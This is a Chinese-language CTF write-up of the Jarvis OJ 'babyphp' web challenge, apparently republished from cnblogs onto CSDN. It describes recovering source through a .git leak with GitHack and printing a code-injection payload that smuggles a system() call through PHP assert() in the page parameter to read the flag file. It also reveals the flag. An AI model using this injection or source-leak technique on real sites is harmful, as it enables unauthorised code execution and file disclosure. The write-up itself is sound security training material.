git web php,Web-babyphp

本文介绍了通过观察网站的about部分发现.git泄露,使用GitHack工具下载源码。在分析源码过程中,注意到assert函数的使用,可以将字符串当作PHP代码执行。通过构造payload尝试获取隐藏信息,最终找到被注释掉的flag。该文章展示了Web安全中git泄露和assert函数的利用技巧。
摘要由CSDN通过智能技术生成

题目地址

首先先观察网页,点击about发现下面包含这些

看到GIT,那么基本可以明确这题有.git泄露,我们用GitHack来获取源码分析

b62ee3c4c7399c4ffa002d94c5413fd4.png

首先下载GitHack(这里用kali),然后执行获取源码

git clone https://github.com/lijiejie/GitHack

python GitHack.py http://web.jarvisoj.com:32798/.git

得到以下两个文件,flag.php在templates,打开之后,并不能看到什么,那么我们去寻找index.php找线索

2f6fff727d2407415540ff5e02df58d8.png

打开index.php

578c5605fb0bc3cc25ac19098086f237.png

我们看看assert函数,官方定义

assert ( mixed $assertion [, Throwable $exception ] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动

就是说如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行

那么我们就可以构造payload

?page='.system("cat templates/flag.php").'

发现还是不行,右击查看源码或者直接F12,因为flag被注释了,所以在网页看不到

f6525b6c9800b4cadb774a94914a6de6.png

f9a035cc37b136593ddc29b7a5571adf.png

$FLAG = '61dctf{8e_careful_when_us1ng_ass4rt}

这题考察git泄露和assert函数

git泄露可以用githack获取源码

当 assertion 是字符串的时候,assert()函数可以当成PHP代码执行

标签:Web,git,assertion,assert,源码,GitHack,babyphp,php

来源: https://www.cnblogs.com/gaonuoqi/p/11625700.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值